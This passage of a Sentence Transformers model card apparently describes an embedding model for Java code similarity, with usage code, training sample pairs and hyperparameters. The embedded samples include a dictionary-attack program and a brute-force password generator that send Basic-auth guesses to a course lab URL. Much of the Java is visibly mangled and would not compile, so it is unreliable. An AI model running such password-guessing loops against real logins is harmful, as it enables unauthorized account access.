printW2 = new PrintWriter(fout2);\n }\n catch (IOException ioe)\n {\n System.out.println("IO Error : " + ioe);\n }\n\n try\n {\n\n\n \n Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n printW2.println(loadStream(ps.getInputStream())+"\\n");\n printW2.print();\n\n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n BufferedReader buf2;\n\n try\n {\n fRead2 = new FileReader("diff.txt");\n buf2 = new BufferedReader(fRead2);\n String line2;\n int i=0;\n\n line = new String(" some changes the web as followed: \\n");\n \n Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n send(null);\n send("HELO cs.rmit.edu.");\n send("MAIL FROM: @.rmit.edu.");\n \n send("RCPT : @.rmit.edu.");\n send("DATA");\n \n\n while( (line2 = buf2.readLine()) != null)\n {\n \n line= new String(""+line2+"\\n");\n \n \n\n }\n \n \n \n out2.print();\n send(".");\n s.print();\n }\n catch(FileNotFoundException e)\n {\n System.out.println("File not found");\n }\n catch(IOException ioe)\n {\n System.out.println("IO Error " + ioe);\n }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n \n System.err.print(loadStream(ps.getErrorStream()));\n }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n }\n }\n\n public void send(String s) throws IOException\n {\n \tresponse = new TextArea();\n \tif(s != null)\n \t{\n response.append(s + "\\n");\n out2.println(s);\n\t out2.flush();\n\t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}', |
|
'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n private String password="";\n\n private int num=401;\n\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\n int length = 0;\n\n String passwd="";\n\n int t0,t1;\n\n String line ="";\n \n if (args.length == 0) {\n \t\n System.err.println (\n \t\t\n \t\t"Usage : java BruteForce <username>");\n return;\n \t\n }\n \n String username = args[0];\n \n \n t0=System.currentTimeMillis();\n \n System.out.println (" " + new Date());\n System.out.println ("Using Dictionary method attack "+username+"\'s password. Please waiting.......");\n\n try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println("The password: "+ passwd);\n\n \tdouble dt =t1-t0;\n\n \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n \n System.out.println ("Finish " + new Date());\n \n \treturn;\n\n }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \tSystem.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n }\n\n\n System.out.println(" not find the password");\n\n\n}\n\n public Dictionary (String password,String username) {\n\n \t String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n \n try {\n\n String userPassword = username+":"+password ;\n\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n uc.setRequestProperty ("Authorization", " " + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n catch(MalformedURLException e){\n \t System.out.println(e);\n }catch(IOException e){\n System.out.println(e);\n }\n\n\n }\n}', |
|
] |
|
embeddings = model.encode(sentences) |
|
print(embeddings.shape) |
|
# [3, 768] |
|
|
|
# Get the similarity scores for the embeddings |
|
similarities = model.similarity(embeddings, embeddings) |
|
print(similarities.shape) |
|
# [3, 3] |
|
``` |
|
|
|
<!-- |
|
### Direct Usage (Transformers) |
|
|
|
<details><summary>Click to see the direct usage in Transformers</summary> |
|
|
|
</details> |
|
--> |
|
|
|
<!-- |
|
### Downstream Usage (Sentence Transformers) |
|
|
|
You can finetune this model on your own dataset. |
|
|
|
<details><summary>Click to expand</summary> |
|
|
|
</details> |
|
--> |
|
|
|
<!-- |
|
### Out-of-Scope Use |
|
|
|
*List how the model may foreseeably be misused and address what users ought not to do with the model.* |
|
--> |
|
|
|
<!-- |
|
## Bias, Risks and Limitations |
|
|
|
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* |
|
--> |
|
|
|
<!-- |
|
### Recommendations |
|
|
|
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* |
|
--> |
|
|
|
## Training Details |
|
|
|
### Training Dataset |
|
|
|
#### Unnamed Dataset |
|
|
|
* Size: 33,411 training samples |
|
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code> |
|
* Approximate statistics based on the first 1000 samples: |
|
| | sentence_0 | sentence_1 | label | |
|
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------| |
|
| type | string | string | int | |
|
| details | <ul><li>min: 61 tokens</li><li>mean: 478.83 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 61 tokens</li><li>mean: 490.04 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | |
|
* Samples: |
|
| sentence_0 | sentence_1 | label | |
|
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| |
|
| <code><br><br>import java.net.*;<br>import java.io.*;<br><br>public class sendMail {<br><br>public void sendMail(String mailServer, String recipient, String result) {<br> try {<br> Socket s = new Socket(mailServer, 25);<br> BufferedReader in = new BufferedReader<br> (new InputStreamReader(s.getInputStream(), "8859_1"));<br> BufferedWriter out = new BufferedWriter<br> (new OutputStreamWriter(s.getOutputStream(), "8859_1"));<br><br> send(in, out, "HELO client");<br><br> send(in, out, "MAIL FROM: <WatchDog@SecureECommerce.>");<br> send(in, out, "RCPT : " + recipient);<br> send(in, out, "DATA");<br> send(out, "Subject: ");<br> send(out, "From: Admin <WatchDog@SecureECommerce.>");<br> send (out, "\n");<br> <br> send(out, result);<br> send(out, "\n.\n");<br> send(in, out, "QUIT");<br><br> }<br> catch (Exception e) {<br> e.printStackTrace();<br> }<br> }<br><br> public void send(BufferedReader in, BufferedWriter out, String s) {<br> try {<br> out.write(s + "\n");<br> out.flush();<br> Sys...</code> | <code><br><br><br>import java.io.*;<br>import java.util.*;<br>import java.*;<br>import java.net.*;<br><br>public class WatchDog<br>{<br><br> static Process p = null;<br> static Process qproc = null;<br><br> static BufferedReader bf = null;<br> static StringTokenizer tok = null;<br><br> static String Path = null;<br> static String str = null;<br> static String urlStr=null;<br> static boolean changed = false;<br><br> static File indexfile = new File("index.html");<br> static File tmpfile = new File("tmpindex.html");<br> static File mdfile = new File("md5file.txt");<br> static File tmpmdfile = new File("tmpmd5file.txt");<br> static PrintWriter mailwriter = null;<br><br><br> public static void main(String[] args) <br> {<br><br> urlStr = "http://www.cs.rmit.edu./";<br><br> try<br> {<br> <br> mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));<br><br> getLatest(urlStr);<br> parseFile(); <br><br> mailwriter.read();<br><br> if(changed)<br> {<br> System.out.println("Sending Mail");<br> ...</code> | <code>0</code> | |
|
| <code><br>import java.io.*;<br>import java.net.*;<br><br>public class BruteForce<br>{<br> private String myUsername = "";<br> private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";<br> private int NUM_CHARS = 52;<br><br><br> public static void main(String args[])<br> {<br> BruteForce bf = new BruteForce();<br> }<br><br><br> public BruteForce()<br> {<br> generatePassword();<br> }<br><br><br> <br><br> public void generatePassword()<br> {<br> int index1 = 0, index2, index3;<br><br> char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',<br> 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',<br> 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',<br> 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',<br> 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',<br> 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };<br><br><br> while(index1 < NUM_CHARS)<br> {<br> index2 = 0;<br><br> while(index2 < NUM_CHARS)<br> {<br> ...</code> | <code><br><br><br><br>public class HoldSharedData<br>{<br> private int numOfConnections = 0;<br> private int startTime;<br> private int totalTime = 0;<br> private String[] password;<br> private int pwdCount;<br><br> public HoldSharedData( int time, String[] pwd, int count )<br> {<br> startTime = time;<br><br> password = pwd;<br> pwdCount = count;<br> }<br><br> public int getPwdCount()<br> {<br> return pwdCount;<br> }<br><br> public void setNumOfConnections( )<br> {<br> numOfConnections ++;<br> }<br><br> public int getNumOfConnections()<br> {<br> return numOfConnections;<br> }<br><br> public int getStartTime()<br> {<br> return startTime;<br> }<br><br> public void setTotalTime( int newTotalTime )<br> {<br> totalTime = newTotalTime;<br> }<br><br> public int getTotalTime()<br> {<br> return totalTime;<br> }<br><br> public String getPasswordAt( int index )<br> {<br> return password[index];<br> }<br>} <br></code> | <code>0</code> | |
|
| <code><br><br>import java.net.*;<br>import java.io.*;<br><br>public class sendMail {<br><br>public void sendMail(String mailServer, String recipient, String result) {<br> try {<br> Socket s = new Socket(mailServer, 25);<br> BufferedReader in = new BufferedReader<br> (new InputStreamReader(s.getInputStream(), "8859_1"));<br> BufferedWriter out = new BufferedWriter<br> (new OutputStreamWriter(s.getOutputStream(), "8859_1"));<br><br> send(in, out, "HELO client");<br><br> send(in, out, "MAIL FROM: <WatchDog@SecureECommerce.>");<br> send(in, out, "RCPT : " + recipient);<br> send(in, out, "DATA");<br> send(out, "Subject: ");<br> send(out, "From: Admin <WatchDog@SecureECommerce.>");<br> send (out, "\n");<br> <br> send(out, result);<br> send(out, "\n.\n");<br> send(in, out, "QUIT");<br><br> }<br> catch (Exception e) {<br> e.printStackTrace();<br> }<br> }<br><br> public void send(BufferedReader in, BufferedWriter out, String s) {<br> try {<br> out.write(s + "\n");<br> out.flush();<br> Sys...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br><br>public class Base64Encoder<br>{<br> private final static char base64Array [] = {<br> 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',<br> 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',<br> 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',<br> 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',<br> 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',<br> 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',<br> 'w', 'x', 'y', 'z', '0', '1', '2', '3',<br> '4', '5', '6', '7', '8', '9', '+', '/'<br> };<br><br> public static String encode (String string)<br> {<br> String encodedString = "";<br> byte bytes [] = string.getBytes ();<br> int i = 0;<br> int pad = 0;<br> while (i < bytes.length)<br> {<br> byte b1 = bytes [i++];<br> byte b2;<br> byte b3;<br> if (i >= bytes.length)<br> {<br> b2 = 0;<br> b3 = 0;<br> pad = 2;<br> }<br> else<br> {<br> b2 = bytes [i++];<br> if (i >= bytes.length)<br>...</code> | <code>0</code> | |
|
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) |
|
|
|
### Training Hyperparameters |
|
#### Non-Default Hyperparameters |
|
|
|
- `per_device_train_batch_size`: 16 |
|
- `per_device_eval_batch_size`: 16 |
|
- `num_train_epochs`: 1 |
|
- `multi_dataset_batch_sampler`: round_robin |
|
|
|
#### All Hyperparameters |
|
<details><summary>Click to expand</summary> |
|
|
|
- `overwrite_output_dir`: False |
|
- `do_predict`: False |
|
- `eval_strategy`: no |
|
- `prediction_loss_only`: True |
|
- `per_device_train_batch_size`: 16 |
|
- `per_device_eval_batch_size`: 16 |
|
- `per_gpu_train_batch_size`: None |
|
- `per_gpu_eval_batch_size`: None |
|
- `gradient_accumulation_steps`: 1 |
|
- `eval_accumulation_steps`: None |
|
- `torch_empty_cache_steps`: None |
|
- `learning_rate`: 5e-05 |
|
- `weight_decay`: 0.0 |
|
- `adam_beta1`: 0.9 |
|
- `adam_beta2`: 0.999 |
|
- `adam_epsilon`: 1e-08 |
|
- `max_grad_norm`: 1 |
|
- `num_train_epochs`: 1 |
|
- `max_steps`: -1 |
|
- `lr_scheduler_type`: linear |
|
- `lr_scheduler_kwargs`: {} |
|
- `warmup_ratio`: 0.0 |
|
- `warmup_steps`: 0 |
|
- `log_level`: passive |
|
- `log_level_replica`: warning |
|
- `log_on_each_node`: True |
|
- `logging_nan_inf_filter`: True |
|
- `save_safetensors`: True |
|
- `save_on_each_node`: False |
|
- `save_only_model`: False |
|
- `restore_callback_states_from_checkpoint`: False |
|
- `no_cuda`: False |
|
- `use_cpu`: False |
|
- `use_mps_device`: False |
|
- `seed`: 42 |
|
- `data_seed`: None |
|
- `jit_mode_eval`: False |
|
- `use_ipex`: False |
|
- `bf16`: False |
|
- `fp16`: False |
|
- `fp16_opt_level`: O1 |
|
- `half_precision_backend`: auto |
|
- `bf16_full_eval`: False |
|
- `fp16_full_eval`: False |
|
- `tf32`: None |
|
- `local_rank`: 0 |
|
- `ddp_backend`: None |
|
- `tpu_num_cores`: None |
|
- `tpu_metrics_debug`: False |
|
- `debug`: [] |
|
- `dataloader_drop_last`: False |
|
- `dataloader_num_workers`: 0 |
|
- `dataloader_prefetch_factor`: None |
|
- `past_index`: -1 |
|
- `disable_tqdm`: False |
|
- `remove_unused_columns`: True |
|
- `label_names`: None |
|
- `load_best_model_at_end`: False |
|
- `ignore_data_skip`: False |
|
- `fsdp`: [] |
|
- `fsdp_min_num_params`: 0 |
|
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} |
|
- `fsdp_transformer_layer_cls_to_wrap`: None |
|
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} |
|
- `deepspeed`: None |
|
- `label_smoothing_factor`: 0.0 |
|
- `optim`: adamw_torch |
|
- `optim_args`: None |
|
- `adafactor`: False |
|
- `group_by_length`: False |
|
- `length_column_name`: length |
|
- `ddp_find_unused_parameters`: None |
|
- `ddp_bucket_cap_mb`: None |
|
- `ddp_broadcast_buffers`: False |
|
- `dataloader_pin_memory`: True |
|
- `dataloader_persistent_workers`: False |
|
- `skip_memory_metrics`: True |
|
- `use_legacy_prediction_loop`: False |
|
- `push_to_hub`: False |
|
- `resume_from_checkpoint`: None |
|
- `hub_model_id`: None |
|
- `hub_strategy`: every_save |
|
- `hub_private_repo`: None |
|
- `hub_always_push`: False |
|
- `gradient_checkpointing`: False |
|
- `gradient_checkpointing_kwargs`: None |
|
- `include_inputs_for_metrics`: False |
|
- `include_for_metrics`: [] |
|
- `eval_do_concat_batches`: True |
|
- `fp16_backend`: auto |
|
- `push_to_hub_model_id`: None |
|
- `push_to_hub_organization`: None |
|
- `mp_parameters`: |
|
- `auto_find_batch_size`: False |
|
- `full_determinism`: False |
|
- `torchdynamo`: None |
|
- `ray_scope`: last |
|
- `ddp_timeout`: 1800 |
|
- `torch_compile`: False |
|
- `torch_compile_backend`: None |
|
- `torch_compile_mode`: None |
|
- `include_tokens_per_second`: False |
|
- `include_num_input_tokens_seen`: False |
|
- `neftune_noise_alpha`: None |
|
- `optim_target_modules`: None |
|
- `batch_eval_metrics`: False |
|
- `eval_on_start`: False |
|
- `use_liger_kernel`: False |
|
- `eval_use_gather_object`: False |
|
- `average_tokens_across_devices`: False |
|
- `prompts`: None |
|
- `batch_sampler`: batch_sampler |
|
- `multi_dataset_batch_sampler`: round_robin |
|
|
|
</details> |
|
|
|
### Training Logs |
|
| Epoch | Step | Training Loss | |
|
|:------:|:----:|:-------------:| |
|
| 0.2393 | 500 | 0.1754 | |
|
| 0.4787 | 1000 | 0.1994 | |
|
| 0.7180 | 1500 | 0.209 | |
|
| 0.9574 | 2000 | 0.1941 | |
|
|
|
|
|
### Framework Versions |
|
- Python: 3.11.13 |
|
- Sentence Transformers: 4.1.0 |
|
- Transformers: 4.52.4 |
|
- PyTorch: 2.6.0+cu124 |
|
- Accelerate: 1.7.0 |
|
- Datasets: 3.6.0 |
|
- Tokenizers: 0.21.1 |
|
|
|
## Citation |
|
|
|
### BibTeX |
|
|
|
#### Sentence Transformers |
|
```bibtex |
|
@inproceedings{reimers-2019-sentence-bert, |
|
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", |
|
author = "Reimers, Nils and Gurevych, Iryna", |
|
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", |
|
month = "11", |
|
year = "2019", |
|
publisher = "Association for Computational Linguistics", |
|
url = "https://arxiv.org/abs/1908.10084", |
|
} |
|
``` |
|
|
|
#### BatchAllTripletLoss |
|
```bibtex |
|
@misc{hermans2017defense, |
|
title={In Defense of the Triplet Loss for Person Re-Identification}, |
|
author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, |
|
year={2017}, |
|
eprint={1703.07737}, |
|
archivePrefix={arXiv}, |
|
primaryClass={cs.CV} |
|
} |
|
``` |
|
|
|
<!-- |
|
## Glossary |
|
|
|
*Clearly define terms in order to be accessible across audiences.* |
|
--> |
|
|
|
<!-- |
|
## Model Card Authors |
|
|
|
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.* |
|
--> |
|
|
|
<!-- |
|
## Model Card Contact |
|
|
|
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.* |
|
--> |